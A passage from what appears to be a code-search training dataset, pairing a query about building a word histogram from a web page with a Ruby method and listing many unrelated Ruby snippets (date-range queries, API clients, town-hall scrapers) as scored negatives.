"def index\n params[:direction] ||= \"asc\"\n params[:page] ||= 1\n params[:search] ||= {}\n params[:search][:rawtime] ||= {}\n\n #default to sorting based on the id column if nothing is given in sort\n sort_column = ((params[:sort] == \"\" or params[:sort].nil?) ? \"id\" : params[:sort]).to_sym\n sort_object = params[:direction] == \"asc\" ? sort_column.asc : sort_column.desc\n query = {}\n query.merge!({:order => sort_object})\n\n Msrun.properties.each do |property|\n #The rawtime parameter is a hash: { start: SOME_DATE, end: SOME_OTHER_DATE }\n # so we handle it separately\n if property.name.to_s == \"rawtime\"\n #Malformed dates to DateTime.parse throw an Argument error\n begin\n start = params[\"search\"][\"rawtime\"].fetch(\"start\", \"\")\n start = DateTime.parse(start) unless start.empty?\n rescue ArgumentError\n start = \"\"\n end\n\n begin\n after = params[\"search\"][\"rawtime\"].fetch(\"end\", \"\")\n after = DateTime.parse(after) unless after.empty?\n rescue ArgumentError\n after = \"\"\n end\n\n if start.kind_of? DateTime\n if after.kind_of? DateTime\n query.merge!({ property.name.to_sym.lte => after, property.name.to_sym.gte => start })\n else\n query.merge!({ property.name.to_sym.gte => start })\n end\n else\n if after.kind_of? DateTime\n query.merge!({ property.name.to_sym.lte => after })\n end\n end\n elsif params[:search].has_key? property.name.to_s\n query.merge!({ property.name.to_sym.like => \"%#{params[:search][property.name.to_s]}%\" })\n end\n end\n\n @sort = sort_object\n @page_number = params[:page]\n @per_page = 20\n # @msruns = Msrun.all(query).chunks(@per_page).at(@page_number.to_i - 1)\n @msruns = Msrun.all(query).page(@page_number).per(@per_page)\n @all = Msrun.all\n respond_to do |format|\n format.js { render :index }\n format.html { render :index }\n end\n end",
"def run(opts)\n run_alarm(opts)\n rescue\n run_alarm_fallback\n end",
"def query(options)\n Direction.define_methods(self, options) do |query, accessor|\n %{\n def #{query}(*args, &block)\n #{accessor}.__send__(:#{query}, *args, &block)\n end\n }\n end\n end",
"def query(cal_url, conditions = nil)\r\n logger.info(\"-- query st --\") if logger\r\n auth unless @auth\r\n uri = URI.parse(cal_url)\r\n uri.query = conditions.map do |key, val|\r\n \"#{key}=#{URI.escape(val.kind_of?(Time) ? val.getutc.iso8601 : val.to_s)}\"\r\n end.join(\"&\") unless conditions.nil?\r\n res = do_get(uri, {})\r\n logger.info(\"-- query en (#{res.message}) --\") if logger\r\n res\r\n end",
"def custom_query(options)\n form_data = {}\n options.each {|k,v| form_data[k.to_s] = v.to_s }\n form_data['action'] = 'query'\n make_api_request(form_data).first.elements['query']\n end",
"def query(options = {})\n paginate = if options.has_key?(:paginate)\n options.delete(:paginate)\n else\n true\n end\n\n name = self.class.name.demodulize.downcase\n route = Automatic::Client.routes.route_for(name)\n url = route.url_for\n\n request = api_client.get(url, options)\n\n if request.success?\n raw_results = []\n\n metadata = Automatic::Models::Response::Metadata.new(request.body.fetch('_metadata', {}))\n link_header = Automatic::Models::Response::LinkHeader.new(request.headers['Link'])\n links = link_header.links\n\n raw_results.concat(request.body.fetch('results', []))\n\n if links.next? && paginate\n loop do\n request = api_client.get(links.next.uri)\n\n link_header = Automatic::Models::Response::LinkHeader.new(request.headers['Link'])\n links = link_header.links\n\n raw_results.concat(request.body.fetch('results', []))\n\n break unless links.next?\n end\n end\n\n raw_results\n else\n raise StandardError.new(request.body)\n end\n end",
"def query_recordings(options = {})\n default_options = { :filter => { :storagegroup => /Default/ } }\n options = default_options.merge(options)\n \n send(\"QUERY_RECORDINGS Play\")\n response = recv\n\n recording_count = response.shift.to_i\n recordings = []\n\n while recording_count > 0\n recording_array = response.slice!(0, Recording::RECORDINGS_ELEMENTS.length)\n\n recording = Recording.new(recording_array, { :protocol_version => @protocol_version })\n\n # If we've been given a hash, assume it contains a mapping of recording property to\n # regexp\n if options[:filter].class == Hash\n options[:filter].each_pair do |k, v|\n recordings.push(recording) if recording.send(k) =~ v\n end\n else\n # Otherwise, we just push the recording\n recordings.push(recording)\n end\n \n recording_count -= 1\n end\n\n recordings = recordings.sort_by { |r| r.startts }\n recordings.reverse!\n end",
"def time_query(match, time, options = {})\n options[:on] ||= :validity\n super\n end",
"def query(query, options = {})\n GRel::Debugger.debug \"QUERYING DESCRIBE...\"\n GRel::Debugger.debug query\n GRel::Debugger.debug \"** LIMIT #{@last_query_context.limit}\" if @last_query_context.limit\n GRel::Debugger.debug \"** OFFSET #{@last_query_context.offset}\" if @last_query_context.offset\n GRel::Debugger.debug \"----------------------\"\n args = {:describe => true}\n #args = {}\n args[:accept] = options[:accept] if options[:accept]\n args[:offset] = @last_query_context.offset if @last_query_context.offset\n args[:limit] = @last_query_context.limit if @last_query_context.limit\n @connection.query(@db_name,query, args).body\n end",
"def get(options = {})\n lower = nil\n upper = nil\n\n if options[:in].nil?\n lower = options[:after].nil? ? '-inf' : coerce_time_milli(options[:after])\n upper = options[:before].nil? ? '+inf' : [0, coerce_time_milli(options[:before])].max\n else\n lower = coerce_time_milli(options[:in].begin)\n upper = coerce_time_milli(options[:in].end)\n upper = \"(#{upper}\" if options[:in].exclude_end?\n end\n\n argv = [expires_at, lower, upper]\n\n unless options[:limit].nil?\n limit = options[:limit].to_i\n raise ArgumentError, 'limit must be positive' unless limit.positive?\n argv.push(limit, [0, options[:offset].to_i].max)\n end\n\n events = get_script(keys: @event_list.key, argv: argv)\n return events.map(&method(:remove_event_id))\n end",
"def find_heartbeats(params, options)\n Record.with(collection: \"#{self.class.name.demodulize.downcase}_heartbeat\") do |m|\n m.by({ proprietor: { \"#{self.class.name.demodulize.downcase}_id\".to_sym => id } }.merge(params), options)\n end\n end",
"def time_query(match, time, options = {})\n options[:on] ||= :validity\n super\n end",
"def index\n if params[:date_range].blank?\n @time_slots = TimeSlot.all\n else\n input_start_time =\n input_end_time = \n @time_slots = TimeSlot.where(\"start_time > ? AND end_time < ?\", input_start_time, input_end_time)\n end\n end",
"def query(options = {})\n options.each_pair do |key, value|\n self.send(\"#{key}=\", value)\n end\n \n raise 'No API base URL provided.' unless @@base_url\n raise 'No API key provided.' unless @@api_key\n raise 'No resource specified.' unless @resource\n raise 'No format specified.' unless @format\n \n return do_get\n end",
"def query_standard_with_timing(query)\n present, p_time = with_timing { query_present(query) }\n future, f_time = with_timing { query_future(query) }\n\n ResultSet.create [\n [scenario.start_year, present, p_time],\n [scenario.end_year, future, f_time]\n ]\n end",
"def today(options={})\n today = Time.now\n\n between(today.beginning_of_day.to_i, today.end_of_day.to_i, options)\n end",
"def get_query_metadata_for_account_and_call(account_id,\r\n call_id,\r\n from: nil,\r\n to: nil,\r\n min_start_time: nil,\r\n max_start_time: nil)\r\n # Prepare query url.\r\n _query_builder = config.get_base_uri(Server::VOICEDEFAULT)\r\n _query_builder << '/api/v2/accounts/{accountId}/calls/{callId}/recordings'\r\n _query_builder = APIHelper.append_url_with_template_parameters(\r\n _query_builder,\r\n 'accountId' => { 'value' => account_id, 'encode' => true },\r\n 'callId' => { 'value' => call_id, 'encode' => true }\r\n )\r\n _query_builder = APIHelper.append_url_with_query_parameters(\r\n _query_builder,\r\n 'from' => from,\r\n 'to' => to,\r\n 'minStartTime' => min_start_time,\r\n 'maxStartTime' => max_start_time\r\n )\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = config.http_client.get(\r\n _query_url,\r\n headers: _headers\r\n )\r\n VoiceBasicAuth.apply(config, _request)\r\n _response = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n if _response.status_code == 400\r\n raise ApiErrorResponseException.new(\r\n 'Something\\'s not quite right... Your request is invalid. Please' \\\r\n ' fix it before trying again.',\r\n _response\r\n )\r\n elsif _response.status_code == 401\r\n raise APIException.new(\r\n 'Your credentials are invalid. Please use your Bandwidth dashboard' \\\r\n ' credentials to authenticate to the API.',\r\n _response\r\n )\r\n elsif _response.status_code == 403\r\n raise ApiErrorResponseException.new(\r\n 'User unauthorized to perform this action.',\r\n _response\r\n )\r\n elsif _response.status_code == 404\r\n raise ApiErrorResponseException.new(\r\n 'The resource specified cannot be found or does not belong to you.',\r\n _response\r\n )\r\n elsif _response.status_code == 415\r\n raise ApiErrorResponseException.new(\r\n 'We don\\'t support that media type. If a request body is required,' \\\r\n ' please send it to us as `application/json`.',\r\n _response\r\n )\r\n elsif _response.status_code == 429\r\n raise ApiErrorResponseException.new(\r\n 'You\\'re sending requests to this endpoint too frequently. Please' \\\r\n ' slow your request rate down and try again.',\r\n _response\r\n )\r\n elsif _response.status_code == 500\r\n raise ApiErrorResponseException.new(\r\n 'Something unexpected happened. Please try again.',\r\n _response\r\n )\r\n end\r\n validate_response(_response)\r\n\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_response.raw_body)\r\n ApiResponse.new(\r\n _response,\r\n data: decoded.map { |element| RecordingMetadataResponse.from_hash(element) }\r\n )\r\n end",
"def fetch\n @start_time ||= (Time.current - 1.minute).to_i * 1000\n $mw_log.debug \"Catching Events since [#{@start_time}]\"\n\n new_events = @alerts_client.list_events(\"startTime\" => @start_time, \"tags\" => \"miq.event_type|*\", \"thin\" => true)\n @start_time = new_events.max_by(&:ctime).ctime + 1 unless new_events.empty? # add 1 ms to avoid dups with GTE filter\n new_events\n rescue => err\n $mw_log.info \"Error capturing events #{err}\"\n []\n end",
"def analyses(opts={'start' => nil, 'limit' => nil})\n Cursor.new({'collection' => link('analyses'),\n 'start' => opts['start'],\n 'limit' => opts['limit']}.update(@opts)) {|x| Analysis.new(@opts, x)}\n end",
"def alarms_for_instance_id(instance_id)\n alarm_collection.with_name_prefix(instance_id)\n end",
"def index\n ##@events = Event.where(start: params[:start]..params[:end])\n ##@appointments = Appointment.all\n @appointments = Appointment.where(nil)\n @appointments = @appointments.para_o_calendar(current_user.calendar_id).para_o_dia(dia_selected)\n\n if params[:start_date].present?\n mes_para_consulta = params[:start_date].to_date\n else\n mes_para_consulta = Date.current\n end\n\n #if params[:start].present?\n # puts params[:start]\n #end\n\n beginning_of_month = mes_para_consulta.beginning_of_month\n end_of_month = beginning_of_month.end_of_month\n\n @appointments_todos = Appointment.where(schedule_on: beginning_of_month..end_of_month)\n @appointments_todos = @appointments_todos.para_o_calendar(current_user.calendar_id)\n\n\n#start=2019-02-19T00%3A00%3A00&end=2019-02-20T00%3A00%3A00\n if params[:start].present?\n \n mes = params[:start].to_date\n else\n mes = Date.current\n end\n\n inicio_do_mes = mes.beginning_of_month\n fim_do_mes = inicio_do_mes.end_of_month\n\n puts inicio_do_mes\n puts fim_do_mes\n\n @appointments_mes = Appointment.where(schedule_on: inicio_do_mes..fim_do_mes)\n @appointments_mes = @appointments_mes.para_o_calendar(current_user.calendar_id)\n\n @appointments_all = Appointment.where(nil)\n ##@appointments_all = Appointment.find(:all, :order => \"id desc\", :limit => 5)\n @appointments_all = @appointments_all.para_o_calendar(current_user.calendar_id)\n\n end",
"def fetch(options)\n datapoints = []\n query = parent.db[timeslot(options)].where{created >= options[:from]}.where{created <= options[:till]}.order(:created)\n query.all.map{|record| datapoints <<[record[:created], record[:value]]}\n datapoints\n end",
"def list_alarms(cloudwatch_client)\n response = cloudwatch_client.describe_alarms\n if response.metric_alarms.count.positive?\n response.metric_alarms.each do |alarm|\n puts alarm.alarm_name\n end\n else\n puts \"No alarms found.\"\n end\nrescue StandardError => e\n puts \"Error getting information about alarms: #{e.message}\"\nend",
"def query_by_date\n # find the wdays of the trip\n dates = dates_to_wdays(\n Date.parse(params[:from]),\n Date.parse(params[:to])\n )\n\n # find schedules that fit the wdays of the trip\n schedules = Schedule.where.overlap(wdays: dates)\n\n respond_with TripsBySchedulePresenter.new(schedules).as_json\n end",
"def retrieve_tasks\n Query.get_data(@values[:id], @values[:start_time], @values[:end_time])\n end",
"def retrieve_tasks\n Query.get_data(@values[:id], @values[:start_time], @values[:end_time])\n end",
"def retrieve_tasks\n Query.get_data(@values[:id], @values[:start_time], @values[:end_time])\n end",
"def find_all &filter\n result_set = self.driver.activities.find_all { |activity| activity.start_date >= @start_date && activity.start_date <= @end_date }\n\n if filter\n return result_set.find_all &filter \n end\n\n result_set\n end",
"def home_timeline(params={}, options={})\n query = params.clone\n return send_status_request(:home_timeline, query, options)\n end",
"def execute_query\n the_query = create_query\n\n #to do: start and end offsets\n results = the_query.all.collect { |result|\n the_result = {id: result.id, uuid: result.uuid, start_offset_seconds: nil, end_offset_seconds: nil}\n OpenStruct.new(the_result)\n }\n to_return = {:search => self, :query => the_query, :items => results}\n OpenStruct.new(to_return)\n end",
"def mqlread(query, options = {})\n Ken.logger.info \">>> Sending Query: #{query.to_json}\"\n cursor = options[:cursor]\n if cursor\n query_result = []\n while cursor\n response = get_query_response(query, cursor)\n query_result += response['result']\n cursor = response['cursor']\n end\n else\n response = get_query_response(query, cursor)\n cursor = response['cursor']\n query_result = response['result']\n end\n query_result\n end",
"def index\n @schedules = Schedule.where(start: params[:start]..params[:end])\n end",
"def search_heartbeats(text, options)\n limit = options[:limit].blank? ? nil : options[:limit].to_i\n skip = options[:skip].blank? ? nil : options[:skip].to_i\n order = options[:order].blank? ? :created_at.desc : options[:order]\n\n Record.with(collection: \"#{self.class.name.demodulize.downcase}_heartbeat\") do |m|\n criteria = m.full_text_search(text)\n criteria = criteria.order_by(order) if order\n criteria = criteria.limit(limit).skip(skip)\n\n docs = criteria.to_a\n docs\n end\n end",
"def configure! options = {}\n\t\tfrom \t= options[first_from(START_KEYS, options)]\n\t\tto \t\t= options[first_from(END_KEYS, options)]\n\t\tdur \t= options[first_from(DURATION_KEYS, options)]\n\t\tasap = options[:asap]\n\n\t\tif options[:at_least]\n\t\t\tto = Timespan.max_date \n\t\t\tfrom = Time.now + options[:at_least]\n\t\tend\n\n\t\tif options[:at_most]\n\t\t\tto = Time.now + options[:at_most]\n\t\t\tfrom = Time.now\n\t\tend\n\n\t\tif options[:between]\n\t\t\tfrom = Time.now + options[:between].min\n\t\t\tto = Time.now + options[:between].max\n\t\tend\n\n\t\t# puts \"configure: to:#{to}, from:#{from}, dur:#{dur}, asap:#{asap}\"\n\n\t\t@asap \t\t\t\t\t\t= asap if asap\n\t\tself.duration \t\t= dur if dur\n\t\tself.start_time \t= from if from\n\t\tself.end_time \t\t= to if to\n\n\t\t# puts \"configured: start:#{self.start_time}, end:#{self.end_time}, duration:#{self.duration}, asap:#{self.asap?}\"\n\n\t\tdefault_from_now!\n\t\tcalculate_miss!\n\trescue ArgumentError => e\n\t\traise TimeParseError, e.message\n\t# rescue Exception => e\n\t# \tputs \"Exception: #{e}\"\n\t# \tcalculate_miss!\n\t# \tvalidate!\n\tend",
"def broadcast_search(options)\n request('/broadcastSearch', {body: {query: options[0], search: options[1], include_replay: options[2]}})\n end",
"def query(steps,opts={})\n self.class.query(self,steps)\n end",
"def logs(options = {})\n request_params = {\n q: options.fetch(:q, nil),\n page: options.fetch(:page, nil),\n per_page: options.fetch(:per_page, nil),\n sort: options.fetch(:sort, nil),\n fields: options.fetch(:fields, nil),\n include_fields: options.fetch(:include_fields, nil),\n include_totals: options.fetch(:include_totals, nil),\n from: options.fetch(:from, nil),\n take: options.fetch(:take, nil)\n }\n if request_params[:take].to_i > 100\n raise Auth0::InvalidParameter, 'The total amount of entries to retrieve should be less than 100'\n end\n if request_params[:per_page].to_i > 100\n raise Auth0::InvalidParameter, 'The total amount of entries per page should be less than 100'\n end\n get(logs_path, request_params)\n end",
"def timeline(options = {})\n self.class.history.timeline(self, options)\n end",
"def timeline(options = {})\n self.class.history.timeline(self, options)\n end",
"def index\n if(params.has_key?(:from) && params.has_key?(:to))\n @from = DateTime.iso8601(params[:from])\n @to = DateTime.iso8601(params[:to])\n @events = Event.where(:date => @from..@to)\n else\n @events = Event.all\n end\n\n events_json\n\n render json: @events_json_data\n end",
"def query_from; @mrna.from; end",
"def query(query_hash, options = {})\n\t \tget_records('-findquery', query_hash, options)\n\t end",
"def list_rum_events_with_http_info(opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: RUMAPI.list_rum_events ...'\n end\n allowable_values = ['timestamp', '-timestamp']\n if @api_client.config.client_side_validation && opts[:'sort'] && !allowable_values.include?(opts[:'sort'])\n fail ArgumentError, \"invalid value for \\\"sort\\\", must be one of #{allowable_values}\"\n end\n if @api_client.config.client_side_validation && !opts[:'page_limit'].nil? && opts[:'page_limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"page_limit\"]\" when calling RUMAPI.list_rum_events, must be smaller than or equal to 1000.'\n end\n # resource path\n local_var_path = '/api/v2/rum/events'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'filter[query]'] = opts[:'filter_query'] if !opts[:'filter_query'].nil?\n query_params[:'filter[from]'] = opts[:'filter_from'] if !opts[:'filter_from'].nil?\n query_params[:'filter[to]'] = opts[:'filter_to'] if !opts[:'filter_to'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'page[cursor]'] = opts[:'page_cursor'] if !opts[:'page_cursor'].nil?\n query_params[:'page[limit]'] = opts[:'page_limit'] if !opts[:'page_limit'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'RUMEventsResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth, :AuthZ]\n\n new_options = opts.merge(\n :operation => :list_rum_events,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Get, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: RUMAPI#list_rum_events\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def query\n payload = JSON.parse(params[:payload]).with_indifferent_access\n info = ScheduleProcessor.headway_info\n\n uri = URI(payload[:response_url])\n workspace = payload.dig(:enterprise)&.dig(:name) || payload.dig(:team)&.dig(:domain)\n user_id = payload.dig(:user)&.dig(:id)\n\n if payload[:actions].first[:action_id] == 'select_route'\n if (data = info[:routes].find { |r| r[:id] == payload[:actions].first[:selected_option][:value]})\n track_event('default', \"route/#{data[:id]}\", user_id, workspace)\n result = route_response(data)\n end\n elsif payload[:actions].first[:action_id] == 'select_line'\n if (borough, _ = info[:lines].find { |borough, lines| data = lines.find { |l| l[:id] == payload[:actions].first[:selected_option][:value]}})\n track_event('default', \"line/#{data[:id]}\", user_id, workspace)\n result = line_response(borough, data)\n end\n end\n\n Net::HTTP.post(uri, result.to_json, \"Content-Type\" => \"application/json\")\n\n render json: result\n end",
"def get_recordings(options = {})\n prepare\n @api.get_recordings(options)\n end",
"def query\n @options[:query].presence\n end",
"def reminders_list(options = {})\n post('reminders.list', options)\n end",
"def list(to: :unset, from: :unset, parent_call_sid: :unset, status: :unset, start_time: :unset, start_time_before: :unset, start_time_after: :unset, end_time: :unset, end_time_before: :unset, end_time_after: :unset, limit: nil, page_size: nil)\n self.stream(\n to: to,\n from: from,\n parent_call_sid: parent_call_sid,\n status: status,\n start_time: start_time,\n start_time_before: start_time_before,\n start_time_after: start_time_after,\n end_time: end_time,\n end_time_before: end_time_before,\n end_time_after: end_time_after,\n limit: limit,\n page_size: page_size\n ).entries\n end",
"def appointments(params = {})\n scope 'user_schedule'\n get('schedule/appointments/', params)\n end",
"def get_time_entries(start_date=nil, end_date=nil)\n options = Hash.new\n options[\"start_date\"] = iso8601_date(start_date) if start_date\n options[\"end_date\"] = iso8601_date(end_date) if end_date\n get \"/time_entries\", options\n end",
"def query_across_time(inner_query:, transaction_time: nil, effective_time: nil)\n end",
"def check_query_change(options = {})\n options = update_by_expire_time options\n @last_deals_query ||= ''\n current_query = options[:query].to_s\n current_query += options[:category_slugs].to_s\n current_query += options[:location].to_s\n current_query += options[:radius].to_s\n current_query += options[:online].to_s\n current_query += options[:expired_in].to_s\n current_query += options[:per_page].to_s\n if @last_deals_query != current_query\n @last_deals_query = current_query\n @total_deals = []\n @cached_pages = []\n end\n end",
"def readings\n\tstart_date, end_date = query_user_for_date_range\nend",
"def sql(options = {})\n options = normalize_options(options)\n ret = \"\"\n\n if exact_date?(options)\n\tret += \"#{column} = '#{self.from_date(options)}' \"\n else\n\tret += \"#{column} >= '#{self.from_date(options)}' AND \"\t\n\tret += \"#{column} <= '#{self.to_date(options)}' \"\t\n end\n\n raise \"not time selection supported yet '#{range(options)}' please use beginning and end.\" if from_time or to_time\n\n return nil if ret == \"\"\n return ret\n end",
"def set_alarm(option)\n @alarm_list.push(Alarm.new(option))\n end"
] | [
"0.7354929",
"0.5985333",
"0.58743316",
"0.58070326",
"0.5764716",
"0.5755746",
"0.5753159",
"0.5711461",
"0.56931704",
"0.5642877",
"0.5606174",
"0.5584435",
"0.54797727",
"0.54386693",
"0.54228055",
"0.54051065",
"0.53797007",
"0.53651226",
"0.5352223",
"0.534723",
"0.5345414",
"0.5293993",
"0.527068",
"0.52704585",
"0.5252477",
"0.5246936",
"0.5245493",
"0.52379984",
"0.52368253",
"0.52328265",
"0.5206323",
"0.5204874",
"0.5192515",
"0.51904994",
"0.51785666",
"0.5166631",
"0.5140278",
"0.5135311",
"0.51234806",
"0.50945604",
"0.50860524",
"0.5082904",
"0.50567454",
"0.5041314",
"0.50375074",
"0.50268865",
"0.5018445",
"0.5017948",
"0.49993443",
"0.49950933",
"0.49949744",
"0.4978823",
"0.49741447",
"0.4970062",
"0.49658775",
"0.49540088",
"0.49425352",
"0.49377924",
"0.49350518",
"0.49317005",
"0.492903",
"0.49162856",
"0.49146712",
"0.4913087",
"0.490603",
"0.4904193",
"0.48960975",
"0.48952693",
"0.48911253",
"0.48878548",
"0.48878548",
"0.48878548",
"0.48813203",
"0.4880378",
"0.48725995",
"0.48656067",
"0.48636395",
"0.48625973",
"0.4862296",
"0.48498112",
"0.48442146",
"0.4826427",
"0.48191878",
"0.48191878",
"0.48020694",
"0.47778752",
"0.47760883",
"0.4774594",
"0.4773653",
"0.47720394",
"0.4768552",
"0.4763742",
"0.47591263",
"0.47554648",
"0.47530136",
"0.47352034",
"0.47340778",
"0.4731825",
"0.47315824",
"0.47309622"
] | 0.8652422 | 0 |
url the link/site body string words array of the body histogram | def initialize(url) #pass in the url...cnn
@url = url #saving the url in n instance variable
#this is how you create a default value for a hash
@histogram = Hash.new(0) #taking histogram and creating a hash but setting default values at 0. we're going to be couting words so default should be zero
parse #parse is a method (def below)
#this is how you sort a hash!!!!
words.each{|w| @histogram[w.downcase] +=1 } #creating the histogram "for each word..grab each word one at a time- take the histogram and make all the words lowercase. +=1 means add words/couting for all the words that are the same. so we'll have all the words and all the counts"
@histogram = @histogram.sort_by {|key, value| value}.reverse #take the histogram and sort it by value. does this in ascending order. .reverse puts it in descending order
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process_url\n map = map_words_on_page\n map.each do |word, count|\n wc = WordCount.new(:word=>word, :count=>count, :page_id => object_id)\n push wc # todo pull the push/stack functionality out of Page to minimize db calls\n end\n end",
"def score_for_body_links\n link_count = self.message.to_s.scan(/http:/).size\n link_count > 2 ? -link_count : 2\n end",
"def post_urls\n arr_hrefs = []\n collect_post_elements.each do |element|\n # there should only be one headline link per post\n if link = element.search( headline_element ).first \n uri = URI.parse link['href']\n uri.fragment = nil\n arr_hrefs << uri.to_s \n end\n end\n\n return arr_hrefs\n end",
"def get_urls(target)\n trail_urls = []\n i = 24\n while i < 162\n search_page_hike_url = target[i].to_s\n search_page_hike_url = search_page_hike_url.gsub(\"&\", \"&\")\n search_page_hike_url = search_page_hike_url.gsub(/\\<a href=\"/, \"\")\n search_page_hike_url = search_page_hike_url.gsub(/\" .*/, \"\")\n trail_urls << search_page_hike_url\n i+=1\n end\n trail_urls\nend",
"def return_links_array(doc)\n links = doc.css(\".search-content .teaser-item__title a\")\n recipe_links = []\n links.each do |element|\n recipe_links << \"https://www.bbcgoodfood.com\" + element.attribute('href').value\n end\n return recipe_links\n end",
"def links; end",
"def links; end",
"def index(url)\n open(url, \"User-Agent\" => USER_AGENT){ |doc| \n h = Hpricot(doc)\n title, body = h.search('title').text.strip, h.search('body')\n %w(style noscript script form img).each { |tag| body.search(tag).remove}\n array = []\n body.first.traverse_element {|element| array << element.to_s.strip.gsub(/[^a-zA-Z ]/, '') if element.text? }\n array.delete(\"\")\n yield(array.join(\" \").words, title)\n } \n end",
"def bad_urls\n result = []\n @pages.each do |page|\n result << page.hlu\n end\n result.compact!\n end",
"def fetch_url(body)\n aux = body.split('<link>').last\n aux = aux.split('<pubdate>').first\n aux\n end",
"def full_link(arr)\n arr.map do |link|\n $url + link\n end\n end",
"def text_url\n link_uri\n end",
"def links\n\t self.tweets.collect{|t| t.links}.flatten.compact\n\tend",
"def pet_urls_from_doc(doc)\n doc.xpath(\"//h3[@class='catItemTitle']/a/@href\").map do |href|\n \"https://www.strayrescue.org#{href}\"\n end\n end",
"def extract_uris( graph ) \n graph.terms.map{|t| t.to_s if t.uri?}.compact\nend",
"def save_adword_urls(page)\n\t\tsave_adword_urls_right(page) \n\t\tsave_adword_urls_top(page)\n\tend",
"def adword_urls_right(page)\n\t\tadwords_xpath_right(page).inject([]) do |result, adword|\n\t\t\tresult << fetch_adword_url_right(adword)\n\t\tend\n\tend",
"def get_townhall_urls(url)\n urls_department = []\n \n doc = Nokogiri::HTML(open(url))\n \n # Extraire le texte et mettre ça dans un hash \n \n doc.xpath(\"//a[@class=\\\"lientxt\\\"]\").each do |node|\n urls_department << { name: node.text, url: \"http://annuaire-des-mairies.com\" + node[:href][1, node[:href].size - 1]}\n end\n urls_department\n end",
"def get_all_the_urls_of_val_doise_townhalls\n\n\n page1 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\")) #ouvre la page ciblée\n $get_llinks = page1.css('a[href*=\"95\"]').map{|link| link[\"href\"]} #definie un array \"get_llinks\" cible la balise avec href 95 et prend toutes les fin d'url\n\n\nend",
"def get_all_the_urls_of_val_doise_townhalls\n\n\n page1 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/val-d-oise.html\")) #ouvre la page ciblée\n $get_llinks = page1.css('a[href*=\"95\"]').map{|link| link[\"href\"]} #definie un array \"get_llinks\" cible la balise avec href 95 et prend toutes les fin d'url\n\n\nend",
"def hunt_for_wiki_image_in links, agent\n return\n links.each{|l| puts l.href}\n STDIN.gets\n if links = links.compact.select{|l| l.href =~ /(?!book)(.*)F.*jl.*(jpg|png|gif|JPG|PNG|GIF)/}\n unless links.empty?\n link = agent.get( \"#{WIKIPEDIA_MAIN}#{links[ rand(links.size) ]}\" ).links.select{|l| l.href =~ /.*\\.(jpg|png|gif|JPG|PNG|GIF).*/}.first.href\n\n push_to_freeblog(@@settings[:freeblog].first,@@settings[:freeblog].last,link)\n else\n puts 'nincs kép'\n end\n end\nend",
"def wordCollector(pageName)\n\twordHash = Hash.new 0\n\twords = Array.new\n\n\tcurrentPage = Nokogiri::HTML(open(pageName, :allow_redirections => :safe))\n\tpageText = currentPage.css('p').to_s\n\twords = pageText.split(/\\W+|\\d/)\n\twords.each do |string|\n\t wordHash[string] += 1\n\tend\n\treturn Website.new(pageName, wordHash, words.length)\nend",
"def count_words text\n words = text.split(/\\s+/) # this is still insufficiently smart\n words.reject! { |a| %r(http://t\\.co/\\w{10}).match(a) }\n\n # if this is directed at somebody, don't phrasify that part\n while words[0] =~ /^@/\n \twords.shift\n end\n\n (2..words.length).to_a.reverse.each do |howmany| \n count_some_words(words, howmany) \n end\n return @phrases\n end",
"def to_links(per_page = 100)\n htag_set = Set.new\n\n search = Twitter::Search.new\n @search.per_page(100).fetch.each do |msg|\n links = msg.text.split(\" \").select { |f| f.strip =~ /^https?:/ }\n links.each { |link| htag_set.add(link.strip) }\n end\n\n htag_set\n end",
"def bok_links\n [\n { :url => 'http://www.noagendashow.com/', :name => 'NoAgendaShow.com'},\n { :url => 'http://noagendachat.net/', :name => 'NoAgenda Chat'},\n { :url => 'http://www.noagendasoundboard.com/', :name => 'NoAgenda Soundboard'},\n { :url => 'http://noagendastream.com/', :name => 'NoAgenda Stream'},\n { :url => 'http://en.wikipedia.org/wiki/No_Agenda', :name => 'wikipedia'}\n ]\n end",
"def adword_urls_top(page)\n\t\tadwords_xpath_top(page).inject([]) do |result, adword|\n\t\t\tresult << fetch_adword_url_top(adword)\n\t\tend\n\tend",
"def get_townhall_urls\n city = []\n town.xpath('//p/a').each do |node|\n city << node.text.downcase #l'array city, est l'ensemble des villes du 95\n end\n array_url = city\n final = []\n array_url.each do |town|\n return array_url2 = Nokogiri::HTML(URI.open(\"http://annuaire-des-mairies.com/95/#{town.gsub(\" \", \"-\" )}.html\"))\n end\nend",
"def get_http string\n images =[]\n string.split('\"').each do |word|\n if((word.match /[h][t][t][p][a-z]*/).to_s.length>1)\n images.insert(-1,word)\n end\n end\n return images.to_sentence\n end",
"def get_townhall_urls(url)\n urls_department = []\n\n doc = Nokogiri::HTML(open(url))\n\n# Extraire le texte et mettre ça dans un hash \n\n doc.xpath(\"//a[@class=\\\"lientxt\\\"]\").each do |node|\n urls_department << { name: node.text, url: \"http://annuaire-des-mairies.com\" + node[:href][1, node[:href].size - 1]}\n end\n\n urls_department\nend",
